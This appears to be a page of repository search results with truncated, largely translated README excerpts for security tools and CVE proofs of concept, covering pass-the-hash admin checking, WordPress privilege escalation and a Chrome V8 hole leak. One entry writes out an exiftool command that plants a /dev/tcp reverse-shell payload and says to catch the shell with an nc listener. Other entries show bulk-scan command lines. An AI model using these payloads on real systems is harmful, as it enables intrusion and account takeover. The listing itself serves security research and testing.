76575 matches found
android-check
Android Check Android 프로젝트를 위한 정적 코드 분석 플러그인입니다. 사용법 /build.gradle 수정: buildscript repositories jcenter dependencies ... classpath 'com.noveogroup.android:check:1.2.5' ... //build.gradle 수정: apply plugin: 'com.noveogroup.android.check' 설정 권장 설정 권장 설정은 기본값비어 있음입니다. // 설정 없음 하드코어 check abortOnError...
CVE-2024-6387_Check
このリポジトリには README がありません。...
Check-LocalAdminHash
Check-LocalAdminHash Check-LocalAdminHash는 PowerShell 도구로, WMI 또는 SMB를 통해 여러 호스트에 암호 해시를 사용하여 인증을 시도하고 제공된 자격 증명이 로컬 관리자 권한을 가지고 있는지 확인합니다. 사용자의 암호 해시를 확보했을 때 해당 사용자가 네트워크에서 어디에서 로컬 관리자인지 확인하려는 경우 유용합니다. 본질적으로 제가 가장 좋아하는 두 도구와 제 코드 일부를 결합한 프랑켄슈타인Frankenstein입니다. 자격 증명 확인 부분에는 Kevin...
CVE-2023-45828
CVE-2023-45828 RumbleTalk Live Group Chat = 6.1.9 - handleRequest를 통한 인증 누락 설명: WordPress용 RumbleTalk Live Group Chat 플러그인은 버전 6.1.9까지 handleRequest AJAX 함수에 대한 기능 검사 누락으로 인해 데이터 무단 액세스, 데이터 수정 및 데이터 손실에 취약합니다. 이로 인해 구독자 수준 이상의 인증된 공격자가 토큰을 검색하거나 업데이트하고, 채팅을 생성, 업데이트, 새로 고침, 삭제하고, 계정을 만들 수 있습니다...
CVE-2024-50475
CVE-2024-50475 Signup Page = 1.0 - 인증되지 않은 임의 옵션 업데이트 설명: WordPress용 Signup Page 플러그인은 1.0 버전을 포함한 모든 버전에서 기능 검사 누락으로 인해 권한 상승으로 이어질 수 있는 데이터의 무단 수정에 취약합니다. 이를 통해 인증되지 않은 공격자가 WordPress 사이트에서 임의의 옵션을 업데이트할 수 있습니다. 이는 등록 기본 역할을 관리자로 업데이트하고 사용자 등록을 활성화하는 데 악용되어 공격자가 취약한 사이트에 대한 관리자 사용자 액세스 권한을 얻을 수...
CheckFlashPlayerVersion
CheckFlashPlayerVersion 브라우저의 FlashPlayer 버전을 확인하여 익스플로잇 CVE-2016-7855에 취약한지 검사합니다. 사용법: 이 저장소를 클론한 후, Flash Player 버전을 확인하려는 브라우저에서 HTML 파일을 엽니다...
CVE-2024-56071
🚨 Simple Dashboard = 2.0 - 인증되지 않은 권한 상승 📄 설명 Simple Dashboard WordPress 플러그인은 버전 2.0까지 포함 모든 버전에서 권한 상승 취약점에 노출되어 있습니다. 이로 인해 인증되지 않은 공격자가 관리자 권한으로 승격할 수 있습니다. CVE: CVE-2024-56071 CVSS: 9.8 심각 🛠️ 익스플로잇 원리 취약점은 누락된 기능 검사currentusercan 없음로 인해 발생하지만, WordPress 코어는 /wp-admin/을 인증되지 않은 접근으로부터 보호합니다. ➡️...
SpeculativeExecutionAssessment
SpeculativeExecutionAssessment システムが、以下に記載された「投機的実行」の脆弱性に対して評価を行います: CVE-2017-5715 ブランチターゲットインジェクション CVE-2017-5753 境界チェックバイパス CVE-2017-5754 不正データキャッシュロード 警告: ビルドオプションで「Prefer 32-bit」がチェックされていないことを確認してください。 管理者権限が必要です。 緩和策には以下が必要です: 1. アンチウイルス/セキュリティ製品がWindows Updateと互換性があることを示すレジストリ値を設定する 2...
credmap
credmap: The Credential Mapper Credmap is an open source tool that was created to bring awareness to the dangers of credential reuse. It is capable of testing supplied user credentials on several known websites to test if the password has been reused on any of these. An official introductionary...
CVE-2026-0047-poc
CVE-2026-0047: ActivityManagerService의 누락된 권한 확인 실행 중인 모든 앱에서 탈취된 비트맵 더미 — 권한 0개, 사용자 상호작용 0회. ActivityManagerService.dumpBitmapsProto에서 enforceCallingOrSelfPermissionDUMP 확인이 누락되어, 설치된 모든 앱이 Android 16 QPR2 BetaBaklava에서 실행 중인 모든 프로세스의 UI 비트맵을 유출할 수 있습니다. 참고: 이 취약점은 저희가 발견한 것이 아닙니다. 발견 및 책임 있는 신...
sqlsure
sqlsure AI가 SQL을 작성합니다. sqlsure는 그것이 올바른지 확인합니다. 쿼리는 완벽하게 유효하고, 오류 없이 실행되며, 조인으로 인해 수익이 두 번 계산되거나, 평균이 합산되거나, 환자 식별자가 노출되는 등 조용히 잘못된 숫자를 반환할 수 있습니다. 데이터베이스는 이를 잡아내지 못합니다. 린터도 잡아내지 못합니다. 자신의 SQL을 검토하는 LLM도 잡아내지 못합니다. sqlsure는 쿼리가 실행되기 전에 결정론적으로 0.1ms 만에 이를 잡아냅니다. 증명이지 약속이 아닙니다: 우리는 sqlsure를 모든...
showstopper
ShowStopper - アンチデバッグトリック探求ツール 提供: Check Point Software Technologies LTD. プログラミング: Yaraslau Harakhavik 概要 ShowStopper プロジェクトは、マルウェア研究者がアンチデバッグ技術を調査・テストしたり、標準的なアンチデバッグ手法と衝突するデバッガプラグインやその他のソリューションを検証するためのツールです。...
CVE-Exploit
트위터: @0xAbbarhSF 1、CVE-2020-2551 CVE-2020-2551 poc exploit 파이썬 예제 키: GIOP corba 사용 방법 python3 CVE-2020-2551.py -u http://192.168.26.79:7001 cat urls.txt|sort -u|xargs -I % python3 CVE-2020-2551.py -u % cat xxx.html|grep -Eo 'https?://^ /+'|sort -u|xargs -I % python3 CVE-2020-2551.py -u % 32...
CVE-2024-24919-Bulk-Scanner
CVE-2024-24919 대량 스캐너 CVE-2024-24919 Check Point Security Gateway 정보 노출 이 스크립트는 다음에 기반하며, 크레딧은 다음으로 갑니다: https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/ 이 Python 스크립트는 URL 목록을 스캔하여 CVE-2024-24919 취약점을 찾기 위해 특정 POST 요청을 보내고 응답 헤더와 상태 코드를 확인합니다. 요청 및 응답 세부 정보를 기록하고 사전 정의된 기...
CVE-2026-16232
CVE-2026-16232 개요 SmartConsole 로그인 프로세스에서 애플리케이션 토큰을 사용한 인증 우회 취약점인 CVE-2026-16232를 악용하는 개념 증명 스크립트입니다. 이 취약점은 Check Point Security Management Server 및 Multi-Domain Security Management ServerMDS에 영향을 미칩니다. 전체 기술 분석은 Rapid7 분석을 참조하십시오. 사용법 $ python3 CVE-2026-16232.py --help usage: CVE-2026-16232.p...
CVE-2015-1328-GoldenEye
CVE-2015-1328-GoldenEye 익스플로잇 정보: Ubuntu 15.04까지의 linux일명 Linux 커널 패키지에서 3.19.0-21.21 이전의 overlayfs 구현은 상위 파일시스템 디렉터리에서 파일 생성에 대한 권한을 제대로 확인하지 않습니다. 따라서 로컬 사용자는 overlayfs가 임의의 마운트 네임스페이스에서 허용되는 구성을 악용하여 루트 액세스 권한을 얻을 수 있습니다. rebel님께 감사드립니다. 설정 이것은 TryHackMe의 GoldenEye CTF를 위한 CVE-2015-1328 자동화...
CVE-2026-14281-check
CVE-2026-14281 チェッカー WordPress インストール環境が CVE-2026-14281 の影響を受ける可能性があるかを特定するための、軽量で Windows に優しい Python セキュリティチェッカーです。 このツールはパッシブで非破壊的なチェック を実行します。脆弱性を悪用したり、アカウントを作成したり、権限を変更したり、対象のウェブサイトを改変したりすることはありません。 許可されたセキュリティテスト専用です。 自身が所有しているか、評価の明示的な許可を得ているウェブサイトおよびシステムのみをスキャンしてください。 機能 🔎 WordPress の指標を検...
CVE-2023-24610
CVE-2023-24610 CVE-2023-24610에 대한 개념 증명PoC입니다. 먼저 exiftool을 사용하여 polyglot 파일을 생성합니다: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php 파일을 png로 변경하여 프론트엔드 검사를 통과하게 합니다. 그런 다음 포트 8888에서 nc 리스너를 시작하여 셸을 받습니다. 다음 단계는 애플리케이션에 로그인한 후 setup을 클릭하는 것입니다. 페이지 하단에 practice logo 영역이...
POC-CVE-2025-6554
CVE-2025-6554 CVE-2025-6554 는 Chrome의 V8 JavaScript 엔진 인터프리터에서 발생하는 취약점입니다 Hole Check '옵셔널 체이닝이 포함된 표현식 내 의도하지 않은 변수에 대한 부적절한 제어. POC CVE-2025-6554-POC.JS는 변수 사용 전 "Hole" 검증 메커니즘의 결함을 탐구하여, 일반적으로 참조 오류에 의해 차단되는 초기화되지 않은 값 읽기 동작을 허용합니다. function leakhole let x; delete x?.y?.a; return y; let y;...